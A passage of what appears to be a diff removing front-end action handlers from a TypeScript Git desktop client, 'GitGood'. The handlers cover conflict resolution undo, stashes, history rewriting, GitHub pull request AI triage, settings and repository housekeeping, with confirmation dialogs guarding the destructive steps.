undoResolutions(results: ConflictResolutionResult[]): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - for (const r of results) { - try { - await invoke('git.conflict.unresolve', repo.path, r.path, r.original); - } catch (err) { - showToast({ kind: 'error', title: `Could not undo ${r.path}`, message: errorMessage(err) }); - } - } - store.set((s) => { - const conflictResolutions = { ...s.conflictResolutions }; - const conflictSnapshots = { ...s.conflictSnapshots }; - const conflictBlockRanges = { ...s.conflictBlockRanges }; - for (const r of results) { - delete conflictResolutions[r.path]; - delete conflictSnapshots[r.path]; - delete conflictBlockRanges[r.path]; - } - return { conflictResolutions, conflictSnapshots, conflictBlockRanges, checkBanner: s.checkBanner && results.some((r) => r.path === s.checkBanner!.path) ? null : s.checkBanner }; - }); - await refreshStatus(); - await loadDiff(true); -} - -async function undoUseSide(repoPath: string, path: string, original: string): Promise { - try { - await invoke('git.conflict.unresolve', repoPath, path, original); - } catch (err) { - showToast({ kind: 'error', title: `Could not undo ${path}`, message: errorMessage(err) }); - } - await refreshStatus(); - await loadDiff(true); -} - -export async function useSide(path: string, side: 'ours' | 'theirs'): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const original = await invoke('repo.readFile', repo.path, path).catch(() => null); - try { - await invoke('git.conflict.useSide', repo.path, path, side); - await refreshStatus(); - await loadDiff(true); - showToast({ kind: 'success', title: `Took ${side} for ${path}`, action: original !== null ? { label: 'Undo', onClick: () => void undoUseSide(repo.path, path, original) } : undefined }); - } catch (err) { - showError('Could not resolve conflict', err); - } -} - -/** Per-block "Use ours/theirs/base" from the explain-why popover: rewrites just that block from the pre-resolution snapshot, keeping the AI text for the rest. */ -export async function useSideForBlock(path: string, blockId: number, side: 'ours' | 'theirs' | 'base'): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const resolution = store.get().conflictResolutions[path]; - const original = store.get().conflictOriginals[path]; - // conflictBlockRanges always covers every block, including one already manually overridden by an - // earlier useSideForBlock call; conflictResolutions[path].blocks alone would not (it drops a block - // once it stops being an AI suggestion), which would make a second per-block pick fail. - const ranges = store.get().conflictBlockRanges[path] ?? resolution?.blocks.map((b) => ({ id: b.id, ...b.range })); - if (!resolution || original === undefined || !ranges) { - showToast({ kind: 'error', title: 'Could not apply your choice', message: 'This block’s resolution data is no longer available; resolve the file again.' }); - return; - } - try { - const res = await invoke('ai.resolve.useSideForBlock', repo.path, path, original, ranges, blockId, side); - store.set((s) => { - const prev = s.conflictResolutions[path]; - if (!prev) return {}; - const blocks = prev.blocks - .filter((b) => b.id !== blockId) - .map((b) => { - const r = res.ranges.find((x) => x.id === b.id); - return r ? { ...b, range: { start: r.start, end: r.end } } : b; - }); - return { - conflictResolutions: { ...s.conflictResolutions, [path]: { ...prev, blocks } }, - conflictSnapshots: { ...s.conflictSnapshots, [path]: res.content }, - conflictBlockRanges: { ...s.conflictBlockRanges, [path]: res.ranges }, - }; - }); - closeDialog(); - await refreshStatus(); - await loadDiff(true); - } catch (err) { - showError('Could not apply your choice', err); - } -} - -export async function markResolved(paths: string[]): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const stored = store.get().conflictOriginals; - const originals: Record = {}; - for (const p of paths) if (stored[p] !== undefined) originals[p] = stored[p]; - await invoke('git.conflict.markResolved', repo.path, paths, originals); - store.set((s) => { - const conflictOriginals = { ...s.conflictOriginals }; - for (const p of paths) delete conflictOriginals[p]; - return { conflictOriginals }; - }); - await refreshStatus(); - await loadDiff(true); - await refreshConflictExamples(repo.path); - } catch (err) { - showError('Could not mark as resolved', err); - } -} - -/** Writes an edited conflict file (manual per-block resolution in the diff view). `original` is the pre-edit conflicted content (with markers), when known, used to record a "Resolve remaining like …" worked example once the file is auto-staged. */ -export async function writeResolvedContent(path: string, content: string, stillHasConflicts: boolean, original?: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('repo.writeFile', repo.path, path, content); - if (!stillHasConflicts && store.get().settings?.ai.autoStageAfterResolve !== false) { - const originals: Record = original !== undefined ? { [path]: original } : {}; - await invoke('git.conflict.markResolved', repo.path, [path], originals); - store.set((s) => { - const conflictOriginals = { ...s.conflictOriginals }; - delete conflictOriginals[path]; - return { conflictOriginals }; - }); - await refreshConflictExamples(repo.path); - } - await refreshStatus(); - await loadDiff(true); - } catch (err) { - showError('Could not write file', err); - } -} - -// --------------------------------------------------------------------------- -// Discard / stash / ignore -// --------------------------------------------------------------------------- - -export function requestDiscard(paths: string[], all = false): void { - const settings = store.get().settings; - if (settings?.confirmDiscardChanges === false) void discard(paths, all); - else openDialog({ kind: 'discard', paths, all }); -} - -export async function discard(paths: string[], all: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - const trash = store.get().settings?.confirmDiscardChangesPermanently !== false; - try { - if (all) await invoke('git.discardAll', repo.path, trash); - else await invoke('git.discard', repo.path, paths, trash); - await refreshStatus(); - await loadDiff(true); - } catch (err) { - showError('Could not discard changes', err); - } -} - -export async function discardPatch(patch: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - try { - await invoke('git.discardPatch', repo.path, patch); - patchDiff({ selectedLines: null }); - await refreshStatus(); - await loadDiff(true); - } catch (err) { - showError('Could not discard selected lines', err); - } -} - -export async function ignore(patterns: string[]): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('repo.gitignore.add', repo.path, patterns); - await refreshStatus(); - } catch (err) { - showError('Could not update .gitignore', err); - } -} - -export async function stashAll(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const s = store.get(); - const existing = s.stashes.find((st) => st.createdByApp && st.branch === s.status?.branch.name); - const perform = async () => { - try { - if (existing) await invoke('git.stash.drop', repo.path, existing.sha); - await invoke('git.stash.push', repo.path, null, true, null); - await refreshAll(); - await loadDiff(true); - showToast({ kind: 'success', title: 'Changes stashed', action: { label: 'View stashes', onClick: () => setView('stashes') } }, 10000); - } catch (err) { - showError('Could not stash changes', err); - } - }; - if (existing && s.settings?.confirmDiscardStash !== false) { - openDialog({ kind: 'confirm', title: 'Overwrite stash?', message: `A stash created by GitGood already exists on ${s.status?.branch.name}. Stashing again will overwrite it.`, confirmLabel: 'Overwrite', danger: true, onConfirm: perform }); - } else await perform(); -} - -// --------------------------------------------------------------------------- -// Stashes view -// --------------------------------------------------------------------------- - -export async function loadStashesView(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - patchStashesView({ loading: true }); - try { - const stashes = await invoke('repo.stashes', repo.path); - if (store.get().currentRepo?.path !== repo.path) return; - store.set({ stashes }); - const v = store.get().stashesView; - if (v.selectedSha && !stashes.some((st) => st.sha === v.selectedSha)) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); - else if (!v.selectedSha && stashes.length) void selectStash(stashes[0].sha); - } catch (err) { - showToast({ kind: 'error', title: 'Could not load stashes', message: errorMessage(err) }); - } finally { - patchStashesView({ loading: false }); - } -} - -export async function selectStash(sha: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const stash = store.get().stashes.find((st) => st.sha === sha); - if (!stash) return; - patchStashesView({ selectedSha: sha, files: [], selectedFile: null, filesLoading: true }); - try { - const files = await invoke('repo.stash.files', repo.path, stash.sha); - if (store.get().stashesView.selectedSha !== sha) return; - patchStashesView({ files, selectedFile: files[0]?.path ?? null, filesLoading: false }); - void loadDiff(); - } catch (err) { - if (store.get().stashesView.selectedSha !== sha) return; - patchStashesView({ filesLoading: false }); - showToast({ kind: 'error', title: 'Could not load stash', message: errorMessage(err) }); - } -} - -export function selectStashViewFile(path: string): void { - patchStashesView({ selectedFile: path }); - void loadDiff(); -} - -async function restoreStashInternal(stash: Stash, pop: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - store.set({ operation: pop ? 'Pop stash' : 'Apply stash' }); - try { - const outcome = await invoke(pop ? 'git.stash.pop' : 'git.stash.apply', repo.path, stash.sha); - if (outcome.status === 'conflicts') { - showToast({ kind: 'warning', title: 'Stash restored with conflicts', message: 'Resolve the conflicted files, then the stash can be dropped.' }); - } else if (outcome.status === 'complete') { - if (pop && store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); - showToast({ kind: 'success', title: pop ? 'Stash popped' : 'Stash applied' }); - } - } catch (err) { - showError('Could not restore stash', err); - } finally { - store.set({ operation: null }); - await refreshAll(); - await loadDiff(true); - } -} - -/** Applies a stash to the working tree, keeping it in the list. */ -export async function applyStash(stash: Stash): Promise { - await restoreStashInternal(stash, false); -} - -/** Applies a stash and, if it applied cleanly, drops it. */ -export async function popStash(stash: Stash): Promise { - await restoreStashInternal(stash, true); -} - -export async function dropStashView(stash: Stash): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const perform = async () => { - try { - await invoke('git.stash.drop', repo.path, stash.sha); - if (store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); - await refreshStashes(); - void loadDiff(); - showToast({ kind: 'success', title: 'Stash dropped' }); - } catch (err) { - showError('Could not discard stash', err); - } - }; - if (store.get().settings?.confirmDiscardStash !== false) { - const fileCountLabel = stash.fileCount !== null ? `, ${stash.fileCount} file${stash.fileCount === 1 ? '' : 's'}` : ''; - openDialog({ - kind: 'confirm', - title: 'Discard stash?', - message: `"${stash.message}" (${stash.branch ? `on ${stash.branch}` : 'unknown branch'}${fileCountLabel}) will be permanently lost. It cannot be recovered from GitGood.`, - confirmLabel: 'Discard', - danger: true, - onConfirm: perform, - }); - } else await perform(); -} - -export async function createBranchFromStash(stash: Stash, branchName: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - store.set({ operation: `Creating ${branchName}` }); - try { - const outcome = await invoke('git.stash.branch', repo.path, stash.sha, branchName); - if (outcome.status === 'complete') { - if (store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); - showToast({ kind: 'success', title: `Branch ${branchName} created`, message: 'The stash was applied to it and removed.' }); - setView('changes'); - } - } catch (err) { - showError(`Could not create branch ${branchName}`, err); - } finally { - store.set({ operation: null }); - await refreshAll(); - } -} - -/** Stashes only the given paths, leaving the rest of the working tree untouched (`git stash push -- `). */ -export async function stashSelectedFiles(paths: string[], message: string, includeUntracked: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo || !paths.length) return; - closeDialog(); - try { - await invoke('git.stash.push', repo.path, message.trim() || null, includeUntracked, paths); - await refreshStatus(); - await refreshStashes(); - await loadDiff(true); - showToast({ kind: 'success', title: paths.length === 1 ? 'File stashed' : `${paths.length} files stashed`, action: { label: 'View stashes', onClick: () => setView('stashes') } }, 10000); - } catch (err) { - showError('Could not stash selected files', err); - } -} - -// --------------------------------------------------------------------------- -// History operations -// --------------------------------------------------------------------------- - -export async function revertCommit(sha: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Revert', () => invoke('git.revert', repo.path, sha)); - reportOutcome(outcome, 'Revert'); - if (outcome?.status === 'complete') await loadHistory(true); -} - -export async function cherryPickTo(shas: string[], branch: Branch): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - if (!branch.isCurrent) { - let switched = false; - await withUncommittedChanges(branch.name, async (strategy) => { - try { - if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); - else await invoke('git.checkout', repo.path, branch.name, strategy); - switched = true; - } catch (err) { - showError(`Could not switch to ${branch.name}`, err); - } - }); - if (!switched) return; - } - // cherry-pick expects oldest first - const ordered = [...shas].reverse(); - const outcome = await runOperation('Cherry-pick', () => invoke('git.cherryPick', repo.path, ordered)); - reportOutcome(outcome, 'Cherry-pick'); - await loadHistory(true); -} - -export async function squashCommits(shas: string[], targetSha: string, message: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - const outcome = await runOperation('Squash', () => invoke('git.squash', repo.path, { shas, targetSha, message })); - reportOutcome(outcome, 'Squash'); - patchHistory({ selectedShas: [] }); - await loadHistory(true); -} - -export async function reorderCommits(shas: string[], beforeSha: string | null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Reorder', () => invoke('git.reorder', repo.path, shas, beforeSha)); - reportOutcome(outcome, 'Reorder'); - await loadHistory(true); -} - -export async function rewordCommit(sha: string, message: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - const outcome = await runOperation('Edit message', () => invoke('git.reword', repo.path, sha, message)); - reportOutcome(outcome, 'Edit message'); - await loadHistory(true); -} - -export async function dropCommit(sha: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Drop commit', () => invoke('git.dropCommit', repo.path, sha)); - reportOutcome(outcome, 'Drop'); - patchHistory({ selectedShas: [] }); - await loadHistory(true); -} - -export async function createTag(name: string, sha: string, message: string | null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.tag.create', repo.path, name, sha, message); - closeDialog(); - showToast({ kind: 'success', title: `Created tag ${name}`, action: { label: 'Push tag', onClick: () => void runOperation('Push tag', () => invoke('git.tag.push', repo.path, name)) } }); - await loadHistory(true); - } catch (err) { - showError('Could not create tag', err); - } -} - -export async function deleteTag(name: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - openDialog({ - kind: 'confirm', - title: `Delete tag ${name}?`, - message: 'The tag will be deleted locally and, if it was pushed, on origin.', - confirmLabel: 'Delete', - danger: true, - onConfirm: async () => { - try { - await invoke('git.tag.delete', repo.path, name, true); - await loadHistory(true); - await loadTags(); - } catch (err) { - showError('Could not delete tag', err); - } - }, - }); -} - -export async function checkoutCommit(sha: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const perform = async () => { - await withUncommittedChanges(sha.slice(0, 7), async (strategy) => { - closeAllDialogs(); - try { - if (strategy === 'stash') await invoke('git.stash.push', repo.path, 'Stashed before checking out commit', true, null); - await invoke('git.checkoutCommit', repo.path, sha); - await refreshAll(); - await loadHistory(true); - } catch (err) { - showError('Could not check out commit', err); - } - }); - }; - if (store.get().settings?.confirmCheckoutCommit !== false) { - openDialog({ kind: 'confirm', title: 'Check out commit?', message: `Checking out ${sha.slice(0, 7)} detaches HEAD from the current branch. Create a branch afterwards to keep any new commits.`, confirmLabel: 'Check out', onConfirm: perform }); - } else await perform(); -} - -// --------------------------------------------------------------------------- -// Pull requests & GitHub -// --------------------------------------------------------------------------- - -export async function loadPullRequests(force = false): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo?.github) return; - if (!force && Date.now() - s.prs.loadedAt < 60_000 && s.prs.list.length) return; - if (s.prs.loading) return; - store.set((st) => ({ prs: { ...st.prs, loading: true, error: null } })); - try { - const list = await invoke('gh.pr.list', repo.path, 'open'); - if (store.get().currentRepo?.path !== repo.path) return; - store.set((st) => ({ prs: { ...st.prs, list, loading: false, loadedAt: Date.now() } })); - await loadTriageCache(); - const settings = store.get().settings; - if (settings && settings.ai.provider !== 'disabled' && settings.ai.triageAutoRefresh) void summarizePullRequests(); - } catch (err) { - const info = errorInfo(err); - store.set((st) => ({ prs: { ...st.prs, loading: false, error: info.message } })); - } -} - -// --------------------------------------------------------------------------- -// AI pull request triage (add-ai-pr-triage) -// --------------------------------------------------------------------------- - -/** True when the signed-in user was explicitly asked to review, independent of any cached AI triage line (so the "waiting on you" count is accurate before Summarize has ever run). */ -export function isExplicitlyWaitingOnYou(pr: PullRequest, login: string | null): boolean { - return !!login && pr.reviewRequests.some((r) => r.toLowerCase() === login.toLowerCase()); -} - -/** True when a cached triage line still matches the pull request's current updatedAt. */ -export function isTriageFresh(entry: PrTriage | undefined, pr: PullRequest): boolean { - return !!entry && entry.updatedAt === pr.updatedAt; -} - -/** Open pull request numbers with no fresh cached triage line (what "Summarize N pull requests" counts and requests). */ -export function pendingTriageNumbers(prs: PullRequest[], cache: Record): number[] { - return prs.filter((pr) => pr.state === 'OPEN' && !isTriageFresh(cache[pr.number], pr)).map((pr) => pr.number); -} - -/** The triage state to show for a pull request: the fresh cached line's state, or, failing that, "waiting-on-you" when the signed-in user was explicitly asked to review (a deterministic fact that needs no AI call). Null when neither applies. */ -export function effectiveTriageState(pr: PullRequest, cache: Record, login: string | null): TriageState | null { - const entry = cache[pr.number]; - if (isTriageFresh(entry, pr)) return entry!.state; - return isExplicitlyWaitingOnYou(pr, login) ? 'waiting-on-you' : null; -} - -/** Pull requests currently classified as waiting on the signed-in user, combining fresh cached lines with the deterministic review-request check. */ -export function waitingOnYouPrs(prs: PullRequest[], cache: Record, login: string | null): PullRequest[] { - return prs.filter((pr) => effectiveTriageState(pr, cache, login) === 'waiting-on-you'); -} - -export async function loadTriageCache(): Promise { - const repo = store.get().currentRepo; - if (!repo?.github) return; - try { - const cache = await invoke('ai.triage.get', repo.path); - if (store.get().currentRepo?.path !== repo.path) return; - patchTriage({ byNumber: cache, loadedAt: Date.now() }); - } catch { - /* best effort: an empty cache just means every pull request needs summarizing */ - } -} - -/** Requests triage lines for every open pull request lacking a fresh cache entry, batched and cancellable via ai.cancel (see ai.triage.progress). */ -export async function summarizePullRequests(): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo?.github || s.triage.loading) return; - const numbers = pendingTriageNumbers(s.prs.list, s.triage.byNumber); - if (!numbers.length) return; - patchTriage({ loading: true, progress: { done: 0, total: numbers.length } }); - try { - const result = await invoke('ai.triage.run', repo.path, numbers); - if (store.get().currentRepo?.path === repo.path) patchTriage({ byNumber: result, loading: false, progress: null, loadedAt: Date.now() }); - else patchTriage({ loading: false, progress: null }); - } catch (err) { - patchTriage({ loading: false, progress: null }); - showError('Could not summarize pull requests', err); - } -} - -export function cancelTriage(): void { - void invoke('ai.cancel'); -} - -export async function loadCurrentPullRequest(force = false): Promise { - const s = store.get(); - const repo = s.currentRepo; - const branch = s.status?.branch.name ?? null; - if (!repo?.github || !branch) { - store.set((st) => ({ prs: { ...st.prs, current: null } })); - return; - } - if (!force && s.prs.current && s.prs.current.headRefName === branch) return; - try { - const pr = await invoke('gh.pr.forBranch', repo.path, branch); - if (store.get().currentRepo?.path === repo.path && store.get().status?.branch.name === branch) store.set((st) => ({ prs: { ...st.prs, current: pr } })); - } catch { - /* not signed in or offline */ - } -} - -export async function checkoutPullRequest(pr: PullRequest): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await withUncommittedChanges(`#${pr.number}`, async (strategy) => { - closeAllDialogs(); - store.set({ operation: `Checking out #${pr.number}`, popover: null }); - try { - if (strategy === 'stash') await invoke('git.stash.push', repo.path, 'Stashed before switching branches', true, null); - await invoke('gh.pr.checkout', repo.path, pr.number); - await refreshAll(); - await loadHistory(true); - store.set((st) => ({ prs: { ...st.prs, current: pr } })); - } catch (err) { - showError(`Could not check out pull request #${pr.number}`, err); - } finally { - store.set({ operation: null }); - } - }); -} - -export async function openExternal(url: string): Promise { - try { - await invoke('app.openExternal', url); - } catch (err) { - showToast({ kind: 'error', title: 'Could not open link', message: errorMessage(err) }); - } -} - -export function viewOnGitHub(): void { - const repo = store.get().currentRepo; - if (repo?.github) void openExternal(repo.github.url); - else showToast({ kind: 'info', title: 'This repository has no GitHub remote' }); -} - -export function compareOnGitHub(): void { - const s = store.get(); - const repo = s.currentRepo; - const branch = s.status?.branch.name; - if (!repo?.github || !branch) return; - const base = s.defaultBranch ?? 'main'; - void openExternal(`${repo.github.url}/compare/${encodeURIComponent(base)}...${encodeURIComponent(branch)}?expand=1`); -} - -export function openPullRequestFlow(autoDraft = false): void { - const s = store.get(); - const repo = s.currentRepo; - if (!repo) return; - if (!repo.github) { - openDialog({ kind: 'publish' }); - return; - } - if (s.prs.current && s.prs.current.state === 'OPEN') { - void openExternal(s.prs.current.url); - return; - } - if (!s.status?.branch.upstream || s.status.branch.ahead > 0) { - showToast({ kind: 'info', title: 'Publish your branch first', message: 'The branch has commits that are not on GitHub yet.', action: { label: 'Push', onClick: () => void pushWithErrorHandling() } }); - return; - } - openDialog({ kind: 'create-pr', autoDraft }); -} - -/** Opens the Create pull request dialog and starts drafting its title and body with AI (the Branch menu's "Draft Pull Request with AI…" entry). */ -export function draftPullRequest(): void { - openPullRequestFlow(true); -} - -// --------------------------------------------------------------------------- -// Release notes -// --------------------------------------------------------------------------- - -/** Opens the Release notes dialog, from the Repository menu (no `fromTag`) or a tag's History context menu ("notes since this tag"). Exposed on window.__gitgood.actions for smoke tests. */ -export function openReleaseNotes(fromTag?: string): void { - const repo = store.get().currentRepo; - if (!repo) return; - openDialog({ kind: 'release-notes', fromTag: fromTag ?? null }); -} - -// --------------------------------------------------------------------------- -// Issues -// --------------------------------------------------------------------------- - -export function openIssuesDialog(number?: number): void { - const repo = store.get().currentRepo; - if (!repo) return; - if (!repo.github) { - showToast({ kind: 'info', title: 'This repository has no GitHub remote' }); - return; - } - openDialog({ kind: 'issues', number }); -} - -/** Appends text to the commit description, on its own line, without replacing anything already there. */ -export function appendDescription(text: string): void { - patchChanges((c) => ({ description: c.description.trim() ? `${c.description.replace(/\s+$/, '')}\n${text}` : text })); -} - -/** "Create branch for issue": closes whatever dialog is open and opens a fresh New Branch dialog pre-filled with the issue's slug. */ -export function createBranchForIssue(number: number, title: string): void { - closeAllDialogs(); - openDialog({ kind: 'new-branch', initialName: issueBranchSlug(number, title) }); -} - -// --------------------------------------------------------------------------- -// Sign in -// --------------------------------------------------------------------------- - -export async function signIn(host = 'github.com'): Promise { - store.set({ login: { inProgress: true, code: null, url: null, error: null } }); - try { - const result = await invoke('gh.auth.login', host); - store.set((s) => ({ login: { ...s.login, inProgress: false, error: result.ok ? null : result.error } })); - if (result.ok) { - await refreshTools(); - closeDialog(); - } - } catch (err) { - store.set((s) => ({ login: { ...s.login, inProgress: false, error: errorMessage(err) } })); - } -} - -export async function cancelSignIn(): Promise { - await invoke('gh.auth.cancelLogin'); - store.set({ login: { inProgress: false, code: null, url: null, error: null } }); -} - -export async function signOut(host: string): Promise { - try { - await invoke('gh.auth.logout', host); - await refreshTools(); - } catch (err) { - showError('Sign out failed', err); - } -} - -// --------------------------------------------------------------------------- -// Settings -// --------------------------------------------------------------------------- - -export async function updateSettings(patch: Partial): Promise { - try { - const settings = await invoke('app.settings.set', patch); - store.set({ settings }); - applyTheme(settings, store.get().dark); - if (patch.diffHideWhitespace !== undefined) void loadDiff(true); - if (patch.blameIgnoreWhitespace !== undefined && store.get().diff.blameOn) void loadDiff(true); - } catch (err) { - showError('Could not save settings', err); - } -} - -// --------------------------------------------------------------------------- -// External -// --------------------------------------------------------------------------- - -export async function openInEditor(filePath: string | null = null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('app.openInEditor', repo.path, filePath); - } catch (err) { - showToast({ kind: 'error', title: 'Could not open editor', message: errorMessage(err), action: { label: 'Settings', onClick: () => openDialog({ kind: 'settings', tab: 'integrations' }) } }); - } -} - -export async function openInShell(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('app.openInShell', repo.path); - } catch (err) { - showToast({ kind: 'error', title: 'Could not open terminal', message: errorMessage(err), action: { label: 'Settings', onClick: () => openDialog({ kind: 'settings', tab: 'integrations' }) } }); - } -} - -export async function showInFolder(filePath: string | null = null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - if (filePath) { - const full = await invoke('app.joinPath', repo.path, ...filePath.split('/')); - await invoke('app.showItemInFolder', full); - } else { - await invoke('app.openPath', repo.path); - } -} - -export async function copyToClipboard(text: string, label = 'Copied'): Promise { - await invoke('app.clipboard.write', text); - showToast({ kind: 'info', title: label }, 1500); -} - -// --------------------------------------------------------------------------- -// Repository health -// --------------------------------------------------------------------------- - -export function openHealth(): void { - if (!store.get().currentRepo) { - showToast({ kind: 'info', title: 'Open a repository first' }); - return; - } - setView('health'); -} - -/** Fetches unpushed work across every repository on disk, for the Welcome screen card and (opt-in) the repository list's warning dot. Best-effort: failures leave the previous data in place. */ -export async function loadWork(): Promise { - try { - const work = await invoke('repos.work'); - store.set({ work, workError: null }); - } catch (err) { - store.set({ workError: errorMessage(err) }); - } -} - -/** Opens the repository a work entry refers to, optionally checking out one of its branches (used by the Unpushed work card and the Welcome screen). */ -export async function openRepoWorkEntry(work: RepoWork, branch?: string): Promise { - const repo = store.get().repos.find((r) => r.id === work.repoId); - if (!repo) return; - await openRepository(repo); - if (branch) { - const target = store.get().branches.find((b) => b.kind === 'local' && b.name === branch); - if (target && !target.isCurrent) await checkoutBranch(target); - } -} - -export function openBulkDeleteBranches(branches: StaleBranch[]): void { - if (!branches.some((b) => !b.protected)) { - showToast({ kind: 'info', title: 'Nothing to delete', message: 'The current, default and protected branches cannot be deleted here.' }); - return; - } - openDialog({ kind: 'bulk-delete-branches', branches }); -} - -export async function bulkDeleteStaleBranches(names: string[], deleteRemote: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo || !names.length) return null; - try { - const result = await invoke('git.branch.deleteMany', repo.path, names, deleteRemote); - await refreshBranches(); - if (result.deleted.length) { - showToast( - { - kind: result.failed.length ? 'warning' : 'success', - title: `Deleted ${result.deleted.length} branch${result.deleted.length === 1 ? '' : 'es'}`, - message: result.failed.length ? `${result.failed.length} could not be deleted: ${result.failed.map((f) => f.name).join(', ')}` : undefined, - action: { label: 'Undo', onClick: () => void undoBulkDeleteBranches(result.deleted) }, - }, - 12000, - ); - } else if (result.failed.length) { - showToast({ kind: 'error', title: 'Could not delete the selected branches', message: result.failed.map((f) => `${f.name}: ${f.message}`).join('\n') }); - } - return result; - } catch (err) { - showError('Could not delete branches', err); - return null; - } -} - -/** Recreates locally deleted branches at their recorded tip SHAs (git keeps the objects reachable through the reflog until it next expires, so this is safe soon after deletion). */ -export async function undoBulkDeleteBranches(deleted: { name: string; sha: string }[]): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - let restored = 0; - for (const { name, sha } of deleted) { - try { - await invoke('git.branch.create', repo.path, name, sha, false, 'ask'); - restored++; - } catch (err) { - showError(`Could not restore ${name}`, err); - } - } - if (restored) { - await refreshBranches(); - showToast({ kind: 'success', title: restored === 1 ? 'Branch restored' : `${restored} branches restored` }); - } -} - -/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ -export function confirmPruneRemotes(onDone?: () => void): void { - const repo = store.get().currentRepo; - if (!repo) return; - const remotes = store.get().remotes; - if (!remotes.length) { - showToast({ kind: 'info', title: 'No remotes configured' }); - return; - } - openDialog({ - kind: 'confirm', - title: 'Prune remote-tracking branches?', - message: `Removes local refs (e.g. ${remotes[0].name}/old-feature) for branches that no longer exist on ${remotes.map((r) => r.name).join(', ')}. This never touches your local branches.`, - confirmLabel: 'Continue', - onConfirm: () => - openDialog({ - kind: 'confirm', - title: 'Confirm prune', - message: 'Local remote-tracking branches the remote no longer has will be deleted. This cannot be undone (your local branches are never affected).', - confirmLabel: 'Prune remotes', - danger: true, - onConfirm: async () => { - let failed = 0; - for (const remote of remotes) { - try { - await invoke('git.remote.prune', repo.path, remote.name); - } catch (err) { - failed++; - showError(`Could not prune ${remote.name}`, err); - } - } - await refreshBranches(); - if (failed < remotes.length) showToast({ kind: 'success', title: 'Pruned remote-tracking branches' }); - onDone?.(); - }, - }), - }); -} - -/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ -export function confirmRunGc(onDone?: () => void): void { - const repo = store.get().currentRepo; - if (!repo) return; - openDialog({ - kind: 'confirm', - title: 'Run garbage collection?', - message: 'Git will repack loose objects and drop ones that are no longer reachable from any branch, tag or the reflog. This can take a while on a large repository.', - confirmLabel: 'Continue', - onConfirm: () => - openDialog({ - kind: 'confirm', - title: 'Confirm garbage collection', - message: 'Unreachable objects (dropped stashes, and commits left behind by a reset or amend that are outside every branch and the reflog) will be permanently removed. This cannot be undone.', - confirmLabel: 'Run gc', - danger: true, - onConfirm: async () => { - try { - await invoke('git.gc', repo.path, false); - showToast({ kind: 'success', title: 'Garbage collection complete' }); - } catch (err) { - showError('Garbage collection failed', err); - } finally { - onDone?.(); - } - }, - }), - }); -} - -/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ -export function confirmExpireReflog(onDone?: () => void): void { - const repo = store.get().currentRepo; - if (!repo) return; - openDialog({ - kind: 'confirm', - title: 'Expire the reflog?', - message: 'The reflog is what lets GitGood and git recover commits after a reset, an amend or a deleted branch. Expiring it now removes that safety net for anything not reachable from a branch or tag.', - confirmLabel: 'Continue', - danger: true, - onConfirm: () => - openDialog({ - kind: 'confirm', - title: 'Confirm reflog expiry', - message: 'This cannot be undone: any commit that is only reachable through the reflog will be gone the next time git garbage-collects.', - confirmLabel: 'Expire reflog', - danger: true, - onConfirm: async () => { - try { - await invoke('git.reflog.expire', repo.path); - showToast({ kind: 'success', title: 'Reflog expired' }); - } catch (err) { - showError('Could not expire the reflog', err); - } finally { - onDone?.(); - } - }, - }), - }); -} - -// --------------------------------------------------------------------------- -// Auto-update -// --------------------------------------------------------------------------- - -/** Exposed on window.__gitgood.actions so smoke tests and screenshots can drive the banner/About dialog without a real release feed. */ -export function setUpdateState(state: UpdateState): void { - store.set({ updateState: state }); -} - -/** Help → Check for updates… / About dialog's Check now: always runs, and (unlike the silent launch/timer checks) surfaces a network error. */ -export async function checkForUpdates(): Promise { - const state = await invoke('app.update.check'); - if (state.status === 'up-to-date') showToast({ kind: 'success', title: "You're up to date" }); - else if (state.status === 'error') showToast({ kind: 'error', title: 'Could not check for updates', message: state.message, action: state.manualUrl ? { label: 'Download manually', onClick: () => void openExternal(state.manualUrl!) } : undefined }, 10000); - else if (state.status === 'disabled') showToast({ kind: 'info', title: state.reason, action: state.manualUrl ? { label: 'Open releases page', onClick: () => void openExternal(state.manualUrl!) } : undefined }); -} - -export async function downloadUpdate(): Promise 